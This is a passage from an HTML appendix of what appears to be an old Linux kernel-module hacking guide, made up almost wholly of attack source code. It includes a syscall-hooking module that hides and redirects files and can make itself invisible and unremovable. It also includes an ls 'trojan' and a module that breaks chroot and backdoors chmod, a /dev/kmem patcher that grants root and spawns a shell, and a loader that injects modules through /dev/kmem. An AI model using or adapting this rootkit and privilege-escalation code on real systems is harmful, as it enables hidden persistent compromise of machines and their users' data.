- extern void* sys_call_table[];
- // Old system calls handlers (for module removal).
- int (*stary_open)(const char *pathname, int flags, mode_t mode);
- int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);
- int (*stary_link)(const char* oldname,const char* newname);
- int (*stary_unlink)(const char* name);
- int (*stary_rename)(const char* oldname,const char* newname);
- int (*sys_stat)(void*,void*);
- int (*mybrk)(void*);
- // Ugly low-level hack - OH, HOW WE NEED IT :)))
- int mystat(const char* arg1,struct stat* arg2,char space) {
- unsigned long m1=0,m2;
- long __res;
- char* a1;
- struct stat* a2;
- if (!space) {
- // If needed, duplicate 1st argument to user space...
- m1=current->mm->brk;
- mybrk((void*)(m1+strlen(arg1)+1));
- a1=(char*)(m1+2);
- memcpy_tofs(a1,arg1,strlen(arg1)+1);
- } else a1=(char*)arg1;
- // Allocate space for 2nd argument...
- m2=current->mm->brk;
- mybrk((void*)(m2+sizeof(struct stat)));
- a2=(struct stat*)(m2+2);
- // Call stat(...)
- __res=sys_stat(a1,a2);
- // Copy 2nd argument back...
- memcpy_fromfs(arg2,a2,sizeof(struct stat));
- // Free memory.
- if (!space) mybrk((void*)m1); else mybrk((void*)m2);
- return __res;
- }
- // New open(...) handler.
- extern int nowy_open(const char *pathname, int flags, mode_t mode) {
- int i=0,n;
- char zmieniony=0,*a1;
- struct stat buf;
- unsigned long m1=0;
- if (++as_today>INTERV) {
- as_today=0;
- collect();
- }
- if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid
- && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
- if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0;
- switch(flags) {
- case O_RDONLY:
- if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
- break;
- case O_WRONLY:
- if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
- break;
- default:
- if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
- n=0;
- }
- #ifdef DEBUG
- printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino);
- printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags);
- printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
- #endif
- ohits++;
- if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR)))
- if (redir_table[i].dst) {
- flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
- (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |
- (redir_table[i].new_flags & M_MAIN);
- /* User space trick */
- m1=current->mm->brk;
- mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
- a1=(char*)(m1+2);
- memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1);
- pathname=a1;
- zmieniony=1;
- } else return -ERR;
- }
- i=stary_open(pathname,flags,mode);
- if (zmieniony) mybrk((void*)m1);
- return i;
- }
- // New getdents(...) handler.
- int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
- int ret,n,t,i,dev;
- struct dirent *d2,*d3;
- ret=stary_getdents(fd,dirp,count);
- dev = (long)current->files->fd[fd]->f_inode->i_dev;
- if (ret>0) {
- d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
- memcpy_fromfs(d2,dirp,ret);
- d3=d2;
- t=ret;
- while (t>0) {
- n=d3->d_reclen;
- t-=n;
- for (i=0;i<REDIRS;i++)
- if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */
- d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) {
- #ifdef DEBUG
- printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",
- redir_table[i].src,dev,d3->d_ino,ret,t);
- #endif
- ghits++;
- if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;
- ret-=n;
- }
- if (!d3->d_reclen) { ret-=t;t=0; }
- if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
- }
- memcpy_tofs(dirp,d2,ret);
- kfree(d2);
- }
- return ret;
- }
- // New link(...) handler.
- extern int nowy_link(const char *oldname,const char *newname) {
- int i;
- struct stat buf;
- if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
- (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
- redir_table[i].flags | O_STILL ) &&
- (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
- #ifdef DEBUG
- printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
- (long)*((char*)&buf.st_dev+4));
- #endif
- lhits++;
- if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
- }
- return stary_link(oldname,newname);
- }
- // New unlink(...) handler.
- extern int nowy_unlink(const char *name) {
- int i;
- struct stat buf;
- if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
- (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
- redir_table[i].flags | O_STILL ) &&
- (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
- #ifdef DEBUG
- printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
- (long)*((char*)&buf.st_dev+4));
- #endif
- uhits++;
- if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
- }
- return stary_unlink(name);
- }
- // New rename(...) handler.
- extern int nowy_rename(const char *oldname, const char* newname) {
- int i;
- struct stat buf;
- if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
- (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
- redir_table[i].flags | O_STILL ) &&
- (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
- #ifdef DEBUG
- printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
- (long)*((char*)&buf.st_dev+4));
- #endif
- rhits++;
- if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
- }
- return stary_rename(oldname,newname);
- }
- // Inode database rebuild procedure.
- int collect() {
- int x=0,i=0,err;
- struct stat buf;
- #ifdef DEBUG
- printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
- #endif
- for (;i<REDIRS;i++)
- if (!(err=mystat(redir_table[i].src,&buf,0))) {
- polozenie[i].valid=1;
- polozenie[i].dev=buf.st_dev;
- polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
- #ifdef DEBUG
- printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src,
- buf.st_dev,buf.st_ino);
- #endif
- x++;
- } else {
- polozenie[i].valid=0;
- #ifdef DEBUG
- printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err);
- }
- if (x!=REDIRS) {
- printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
- #endif
- }
- return x;
- }
- // ********
- // MAINS :)
- // ********
- // Module startup.
- int init_module(void) {
- #ifdef HIDDEN
- register struct module *mp asm("%ebp");
- #endif
- int x;
- unsigned long flags;
- save_flags(flags);
- cli(); // To satisfy kgb ;-)
- #ifdef HIDDEN
- *(char*)(mp->name)=0;
- mp->size=0;
- mp->ref=0;
- #endif
- #ifdef VERBOSE
- printk("AFHRM_INIT: Version " VERSION " starting.\n");
- #ifdef HIDDEN
- register_symtab(0);
- printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");
- #endif
- printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);
- #endif
- sys_stat=sys_call_table[__NR_stat];
- mybrk=sys_call_table[__NR_brk];
- x=collect();
- stary_open=sys_call_table[__NR_open];
- stary_getdents=sys_call_table[__NR_getdents];
- stary_link=sys_call_table[__NR_link];
- stary_unlink=sys_call_table[__NR_unlink];
- stary_rename=sys_call_table[__NR_rename];
- #ifdef VERBOSE
- printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);
- printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,
- (int)nowy_getdents);
- printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);
- printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,
- (int)nowy_unlink);
- printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,
- (int)nowy_rename);
- #endif
- sys_call_table[__NR_open]=nowy_open;
- sys_call_table[__NR_getdents]=nowy_getdents;
- sys_call_table[__NR_link]=nowy_link;
- sys_call_table[__NR_unlink]=nowy_unlink;
- sys_call_table[__NR_rename]=nowy_rename;
- #ifdef VERBOSE
- printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);
- #endif
- restore_flags(flags);
- return 0;
- }
- // Module shutdown...
- void cleanup_module(void) {
- unsigned long flags;
- save_flags(flags);
- cli(); // To satisfy kgb ;-)
- #ifdef VERBOSE
- printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
- #endif
- sys_call_table[__NR_open]=stary_open;
- sys_call_table[__NR_getdents]=stary_getdents;
- sys_call_table[__NR_link]=stary_link;
- sys_call_table[__NR_unlink]=stary_unlink;
- sys_call_table[__NR_rename]=stary_rename;
- #ifdef VERBOSE
- printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",
- ohits,ghits,lhits,uhits,rhits);
- #endif
- restore_flags(flags);
- }
- </xmp>
- <H3><A NAME="A-f"></a>CHROOT module trick</h3>
- <b>NAME</b> : chr.c<br>
- <b>AUTHOR</b> : FLoW/HISPAHACK<br>
- <b>DESCRIPTION</b> : The first source represents the ls 'trojan'. The second one
- represents the actual module which is doing the chroot trick.<br>
- <b>LINK</b> : <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
- <xmp>
- /*LS 'TROJAN'*/
- /* Sustituto para el "ls" de un ftp restringido.
- * Carga el modulo del kernel chr.o
- * FLoW - !H'98
- */
- #include <stdio.h>
- #include <sys/wait.h>
- main()
- {
- int estado;
- printf("UID: %i EUID: %i\n",getuid(),geteuid());
- printf("Cambiando EUID...\n");
- setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */
- printf("UID: %i EUID: %i\n",getuid(),geteuid());
- switch(fork())
- {
- case -1: printf("Error creando hijo.\n");
- case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
- printf("Error ejecutando insmod.\n");
- exit(1);
- default: printf("Cargando modulo chroot...\n");
- wait(&estado);
- if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)
- printf("Modulo cargado!\n");
- else
- printf("Error cargando modulo.\n");
- break;
- }
- }
- /* Modulo del kernel para anular un chroot() y "retocar" chmod()
- * FLoW - !H'98
- * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
- */
- #include <linux/fs.h>
- #include <linux/module.h>
- #include <linux/malloc.h>
- #include <linux/unistd.h>
- #include <sys/syscall.h>
- #include <linux/dirent.h>
- #include <linux/proc_fs.h>
- #include <stdlib.h>
- static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
- static inline _syscall1(int, setuid, uid_t, uid);
-
- extern void *sys_call_table[];
- int (*original_chroot)(const char *, const char*);
- int (*original_chmod)(const char *, mode_t);
- int (*original_setuid)(uid_t);
- int hacked_chmod(const char *path, mode_t mode)
- {
- int err;
- if(mode==83) { /* chmod 123 XXX */
- (*original_setuid)(0);
- err=(*original_chmod)(path, 511); /* chmod 777 XXX */
- }
- else {
- err=(*original_chmod)(path, mode);
- }
-
- return(err);
- }
- int hacked_chroot(const char *path, const char *cmd)
- {
- return(0);
- }
- int init_module(void)
- {
- original_setuid = sys_call_table[SYS_setuid];
- original_chroot = sys_call_table[SYS_chroot];
- sys_call_table[SYS_chroot] = hacked_chroot;
- original_chmod = sys_call_table[SYS_chmod];
- sys_call_table[SYS_chmod] = hacked_chmod;
- return(0);
- }
- void cleanup_module(void)
- {
- sys_call_table[SYS_chroot] = original_chroot;
- sys_call_table[SYS_chmod] = original_chmod;
- }
- </xmp>
- <H3><A NAME="A-g"></a>Kernel Memory Patching</h3>
- <b>NAME</b> : kmemthief.c<br>
- <b>AUTHOR</b> : unknown (I really tried to find out, but I found no comments)
- I found a similar source by daemon9 who took it from 'Unix
- Security: A practical tutorial'<br>
- <b>DESCRIPTION</b> : This is a 'standard' kmem patcher, which gives you root (your
- user process). The system you try to exploit must permit write
- and read access to /dev/kmem. There are some systems that make
- that fault but don't rely on that.<br>
- <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
- <xmp>
- /*
- kmem_thief
- compile as follows:
- cc -O kmem_thief.c -ld -o kmem_thief
- */
- #include <stdio.h>
- #include <fcntl.h>
- #include <sys/signal.h>
- #include <sys/param.h>
- #include <sys/types.h>
- #include <sys/dir.h>
- #include <sys/user.h>
- struct user userpage;
- long address(), userlocation;
- int main(argc, argv, envp)
- int argc;
- char *argv[], *envp[];
- {
- int count, fd;
- long where, lseek();
- fd = open( "/dev/kmem",O_RDWR);
- if(fd < 0)
- {
- printf("Could not open /dev/kmem.\n");
- perror(argv);
- exit(10);
- }
- userlocation = address();
- where = lseek(fd, userlocation, 0);
- if(where != userlocation)
- {
- printf("Could not seek to user page.\n");
- perror(argv);
- exit(20);
- }
- count = read(fd, &userpage, sizeof(struct user));
- if(count != sizeof(struct user))
- {
- printf("Could not read user page.\n");
- perror(argv);
- exit(30);
- }
- printf(" Current uid is %d\n", userpage.u_ruid);
- printf(" Current gid is %d\n", userpage.u_rgid);
- printf(" Current euid is %d\n", userpage.u_uid);
- printf(" Current egid is %d\n", userpage.u_gid);
- userpage.u_ruid = 0;
- userpage.u_rgid = 0;
- userpage.u_uid = 0;
- userpage.u_gid = 0;
- where = lseek(fd, userlocation, 0);
- if(where != userlocation)
- {
- printf("Could not seek to user page.\n");
- perror(argv);
- exit(40);
- }
- write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
- execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
- }
- # include <filehdr.h>
- # include <syms.h>
- # include <ldfcn.h>
- # define LNULL ( (LDFILE *)0 )
- long address ()
- {
- LDFILE *object;
- SYMENT symbol;
- long idx;
- object = ldopen( "/unix", LNULL );
- if( object == LNULL ) {
- fprintf( stderr, "Could not open /unix.\n" );
- exit( 50 );
- }
- for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
- if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
- fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
- ldclose( object );
- return( symbol.n_value );
- }
- }
- fprintf( stderr, "Could not read symbols in /unix.\n");
- exit( 60 );
- }
- </xmp>
- <H3><A NAME="A-h"></a>Module insertion without native support</h3>
- <b>NAME</b> : kinsmod.c<br>
- <b>AUTHOR</b> : <A HREF="mailto:silvio@big.net.au">Silvio Cesare</a><br>
- <b>DESCRIPTION</b> : This is a very nice program which allows us to insert LKMs
- on system with no native module support.<br>
- <b>LINK</b> : found it by a search on <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
- <xmp>
- /**********needed include file*/
- #ifndef KMEM_H
- #define KMEM_H
- #include <linux/module.h>
- #include <unistd.h>
- #include <fcntl.h>
- /*
- these functions are anologous to standard file routines.
- */
- #define kopen(mode) open("/dev/kmem", (mode))
- #define kclose(kd) close((kd))
- ssize_t kread(int kd, int pos, void *buf, size_t size);
- ssize_t kwrite(int kd, int pos, void *buf, size_t size);
- /*
- ksyms initialization and cleanup
- */
- int ksyms_init(const char *map);
- void ksyms_cleanup(void);
- /*
- print the ksym table
- */
- void ksyms_print(void);
- /*
- return the ksym of name 'name' or NULL if no symbol exists
- */
- struct kernel_sym *ksyms_find(const char *name);
- #endif
- /**********KMEM functions*/
- #include <stdio.h>
- #include <stdlib.h>
- #include <ctype.h>
- #include <string.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <stdio.h>
- #include <linux/module.h>
- #include <linux/unistd.h>
- #include "kmem.h"
- struct ksymlist {
- struct ksymlist* next;
- struct kernel_sym ksym;
- };
- struct ksymlisthead {
- struct ksymlist* next;
- };
- /*
- the hash size must be an integral power of two
- */
- #define KSYM_HASH_SIZE 512
- struct ksymlisthead ksymhash[KSYM_HASH_SIZE];
- /*
- these functions are anologous to standard file routines.
- */
- ssize_t kread(int kd, int pos, void *buf, size_t size)
- {
- int retval;
- retval = lseek(kd, pos, SEEK_SET);
- if (retval != pos) return retval;
- return read(kd, buf, size);
- }
- ssize_t kwrite(int kd, int pos, void *buf, size_t size)
- {
- int retval;
- retval = lseek(kd, pos, SEEK_SET);
- if (retval != pos) return retval;
- return write(kd, buf, size);
- }
- void ksyms_print(void)
- {
- int i;
- for (i = 0; i < KSYM_HASH_SIZE; i++) {
- struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
- struct ksymlist *current = ksymhash[i].next;
- while (current != head) {
- printf(
- "name: %s addr: %lx\n",
- current->ksym.name,
- current->ksym.value
- );
- current = current->next;
- }
- }
- }
- void ksyms_cleanup(void)
- {
- int i;
- for (i = 0; i < KSYM_HASH_SIZE; i++) {
- struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
- struct ksymlist *current = head->next;
- while (current != head) {
- struct ksymlist *next = current->next;
- free(current);
- current = next;
- }
- }
- }
- int hash(const char *name)
- {
- unsigned long h;
- const char *p;
- for (h = 0, p = name; *p; h += (unsigned char)*p, p++);
- return h & (KSYM_HASH_SIZE - 1);
- }
- int ksyminsert(struct kernel_sym *ksym)
- {
- struct ksymlist *node;
- struct ksymlisthead *head;
- node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
- if (node == NULL) return -1;
- head = &ksymhash[hash(ksym->name)];
- memcpy(&node->ksym, ksym, sizeof(*ksym));
- node->next = (struct ksymlist *)head->next;
- head->next = node;
- return 0;
- }
- int ksyms_init(const char *map)
- {
- char s[512];
- FILE *f;
- int i;
- for (i = 0; i < KSYM_HASH_SIZE; i++)
- ksymhash[i].next = (struct ksymlist *)&ksymhash[i];
- f = fopen(map, "r");
- if (f == NULL) return -1;
- while (fgets(s, sizeof(s), f) != NULL) {
- struct kernel_sym ksym;
- char *n, *p;
- ksym.value = strtoul(s, &n, 16);
- if (n == s || *n == 0) goto error;
- p = n;
- while (*p && isspace(*p)) ++p;
- if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;
- p += 2;
- n = p;
- while (*p && !isspace(*p)) ++p;
- if (*p) *p = 0;
- strncpy(ksym.name, n, 60);
- if (ksyminsert(&ksym) < 0) goto error;
- }
- fclose(f);
- return 0;
- error:
- fclose(f);
- ksyms_cleanup();
- printf("--> %s\n", s);
- return -1;
- }
- struct kernel_sym *ksyms_find(const char *name)
- {
- struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];
- struct ksymlist *current = head->next;
- while (current != head) {
- if (!strncmp(current->ksym.name, name, 60))
- return ¤t->ksym;
- current = current->next;
- }
- return NULL;
- }
- /**********MAIN PROGRAM : kinsmod.c*/
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <fcntl.h>
- #include <elf.h>
- #include <getopt.h>
- #include "kmem.h"
- static char system_map[] = "System.kmap";
- static int error = 0;
- static int run = 0;
- static int force = 0;
- struct _module {
- Elf32_Ehdr ehdr;
- Elf32_Shdr* shdr;
- unsigned long maddr;
- int maxlen;
- int len;
- int strtabidx;
- char** section;
- };
- Elf32_Sym *local_sym_find(
- Elf32_Sym *symtab, int n, char *strtab, const char *name
- )
- {
- int i;
- for (i = 0; i < n; i++) {
- if (!strcmp(&strtab[symtab[i].st_name], name))
- return &symtab[i];
- }
- return NULL;
- }
- Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
- {
- char *strtab = module->section[module->strtabidx];
- int i;
- for (i = 0; i < module->ehdr.e_shnum; i++) {
- Elf32_Shdr *shdr = &module->shdr[i];
- if (shdr->sh_type == SHT_SYMTAB) {
- Elf32_Sym *sym;
- sym = local_sym_find(
- (Elf32_Sym *)module->section[i],
- shdr->sh_size/sizeof(Elf32_Sym),
- strtab,
- name
- );
- if (sym != NULL) return sym;
- }
- }
- return NULL;
- }
- void check_module(struct _module *module, int fd)
- {
- Elf32_Ehdr *ehdr = &module->ehdr;
- if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
- perror("read");
- exit(1);
- }
- /* ELF checks */
- if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
- fprintf(stderr, "File not ELF\n");
- exit(1);
- }
- if (ehdr->e_type != ET_REL) {
- fprintf(stderr, "ELF type not ET_REL\n");
- exit(1);
- }
- if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
- fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
- exit(1);
- }
- if (ehdr->e_version != EV_CURRENT) {
- fprintf(stderr, "ELF version not current\n");
- exit(1);
- }
- }
- void load_section(char **p, int fd, Elf32_Shdr *shdr)
- {
- if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
- perror("lseek");
- exit(1);
- }
- *p = (char *)malloc(shdr->sh_size);
- if (*p == NULL) {
- perror("malloc");
- exit(1);
- }
- if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
- perror("read");
- exit(1);
- }
- }
- void load_module(struct _module *module, int fd)
- {
- Elf32_Ehdr *ehdr;
- Elf32_Shdr *shdr;
- char **sectionp;
- int slen;
- int i;
- check_module(module, fd);
- ehdr = &module->ehdr;
- slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;
- module->shdr = (Elf32_Shdr *)malloc(slen);
- if (module->shdr == NULL) {
- perror("malloc");
- exit(1);
- }
- module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);
- if (module->section == NULL) {
- perror("malloc");
- exit(1);
- }
- if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
- perror("lseek");
- exit(1);
- }
- if (read(fd, module->shdr, slen) != slen) {
- perror("read");
- exit(1);
- }
- for (
- i = 0, sectionp = module->section, shdr = module->shdr;
- i < ehdr->e_shnum;
- i++, sectionp++
- ) {
- switch (shdr->sh_type) {
- case SHT_NULL:
- case SHT_NOTE:
- case SHT_NOBITS:
- break;
- case SHT_STRTAB:
- load_section(sectionp, fd, shdr);
- if (i != ehdr->e_shstrndx)
- module->strtabidx = i;
- break;
- case SHT_SYMTAB:
- case SHT_PROGBITS:
- case SHT_REL:
- load_section(sectionp, fd, shdr);
- break;
- default:
- fprintf(
- stderr,
- "No handler for section (type): %i\n",
- shdr->sh_type
- );
- exit(1);
- }
- ++shdr;
- }
- }
- void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)
- {
- Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
- Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
- Elf32_Addr addr;
- Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
- Elf32_Addr dot = targshdr->sh_addr + rel->r_offset;
- Elf32_Addr *loc = (Elf32_Addr *)(
- module->section[shdr->sh_info] + rel->r_offset
- );
- char *name = &module->section[module->strtabidx][sym->st_name];
- if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
- struct kernel_sym *ksym;
- if (force) {
- char novname[60];
- int len;
- len = strlen(name);
- if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {
- strncpy(novname, name, len - 10);
- novname[len - 10] = 0;
- ksym = ksyms_find(novname);
- } else
- ksym = ksyms_find(name);
- } else
- ksym = ksyms_find(name);
- if (ksym != NULL) {
- addr = ksym->value;
- #ifdef DEBUG
- printf(
- "Extern symbol is (%s:%lx)\n",
- ksym->name,
- (unsigned long)addr
- );
- #endif
- goto next;
- }
- if (
- sym->st_shndx == 0 ||
- sym->st_shndx > module->ehdr.e_shnum
- ) {
- fprintf(
- stderr,
- "ERROR: undefined symbol (%s)\n", name
- );
- ++error;
- return;
- }
- }
- addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;
- #ifdef DEBUG
- printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);
- #endif
- next:
- if (targshdr->sh_type == SHT_SYMTAB) return;
- if (targshdr->sh_type != SHT_PROGBITS) {
- fprintf(
- stderr,
- "Rel not PROGBITS or SYMTAB (type: %i)\n",
- targshdr->sh_type
- );
- exit(1);
- }
- switch (ELF32_R_TYPE(rel->r_info)) {
- case R_386_NONE:
- break;
- case R_386_PLT32:
- case R_386_PC32:
- *loc -= dot; /* *loc += addr - dot */
- case R_386_32:
- *loc += addr;
- break;
- default:
- fprintf(
- stderr, "No handler for Relocation (type): %i",
- ELF32_R_TYPE(rel->r_info)
- );
- exit(1);
- }
- }
- void relocate_module(struct _module *module)
- {
- int i;
- for (i = 0; i < module->ehdr.e_shnum; i++) {
- if (module->shdr[i].sh_type == SHT_REL) {
- int j;
- Elf32_Rel *relp = (Elf32_Rel *)module->section[i];
- for (
- j = 0;
- j < module->shdr[i].sh_size/sizeof(Elf32_Rel);
- j++
- ) {
- relocate(
- module,
- relp,
- &module->shdr[i]
- );
- ++relp;
- }
- }
- }
- }
- void print_symaddr(struct _module *module, const char *symbol)
- {
- Elf32_Sym *sym;
- sym = localall_sym_find(module, symbol);
- if (sym == NULL) {
- fprintf(stderr, "No symbol (%s)\n", symbol);
- ++error;
- return;
- }
- printf(
- "%s: 0x%lx\n",
- symbol,
- (unsigned long)module->shdr[sym->st_shndx].sh_addr
- + sym->st_value
- );
- }
- void init_module(struct _module *module, unsigned long maddr)
- {
- int i;
- unsigned long len = 0;
- module->maddr = maddr;
- for (i = 0; i < module->ehdr.e_shnum; i++) {
- if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
- module->shdr[i].sh_addr = len + maddr;
- len += module->shdr[i].sh_size;
- }
- module->len = len;
- if (module->maxlen > 0 && module->len > module->maxlen) {
- fprintf(
- stderr,
- "Module too large: (modsz: %i)\n",
- module->len
- );
- exit(1);
- }
- printf("Module length: %i\n", module->len);
-
- relocate_module(module);
- print_symaddr(module, "init_module");
- print_symaddr(module, "cleanup_module");
- }
- void do_module(struct _module *module, int fd)
- {
- int kd;
- int i;
- #ifdef DEBUG
- for (i = 0; i < module->ehdr.e_shnum; i++) {
- if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
- if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) {
- perror("lseek");
- exit(1);
- }
- if (
- write(
- fd, module->section[i], module->shdr[i].sh_size
- ) != module->shdr[i].sh_size
- ) {
- perror("write");
- exit(1);
- }
- }
- #else
- kd = open("/dev/kmem", O_RDWR);
- if (kd < 0) {
- perror("open");
- exit(1);
- }
- if (lseek(kd, module->maddr, SEEK_SET) < 0) {
- perror("lseek");
- exit(1);
- }
- for (i = 0; i < module->ehdr.e_shnum; i++) {
- if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
- if (
- write(
- kd, module->section[i], module->shdr[i].sh_size
- ) != module->shdr[i].sh_size
- ) {
- perror("write");
- exit(1);
- }
- }
- close(kd);
- #endif
- }
- int main(int argc, char *argv[])
- {
- char *map = system_map;
- struct _module module;
- int fd;
- int ch;
- int retval = 0;
- while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
- switch (ch) {
- case 'm':
- map = optarg;
- break;
- case 't':
- ++run;
- break;
- case 'f':
- ++force;
- break;
- }
- }
- /*
- so we can move options in and out without changing the codes idea
- of what argv and argc look like.
- */
- --optind;
- argv += optind;
- argc -= optind;
- if (argc != 3 && argc != 4) {
- fprintf(
- stderr,
- "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"
- );
- exit(1);
- }
- #ifdef DEBUG
- fd = open(argv[1], O_RDWR);
- #else
- fd = open(argv[1], O_RDONLY);
- #endif
- if (fd < 0) {
- perror("open");
- exit(1);
- }
- if (ksyms_init(map) < 0) {
- perror("ksyms_init");
- exit(1);
- }
- module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
- load_module(&module, fd);
- init_module(&module, strtoul(argv[2], NULL, 16));
- if (run == 0) {
- if (error == 0) {
- do_module(&module, fd);
- } else {
- fprintf(
- stderr,
- "FAILED: (%i) errors. Exiting...\n", error
- );
- ++retval;
- }
- }
-
- ksyms_cleanup();
- exit(retval);
- }
- </xmp>
- </HTML>
|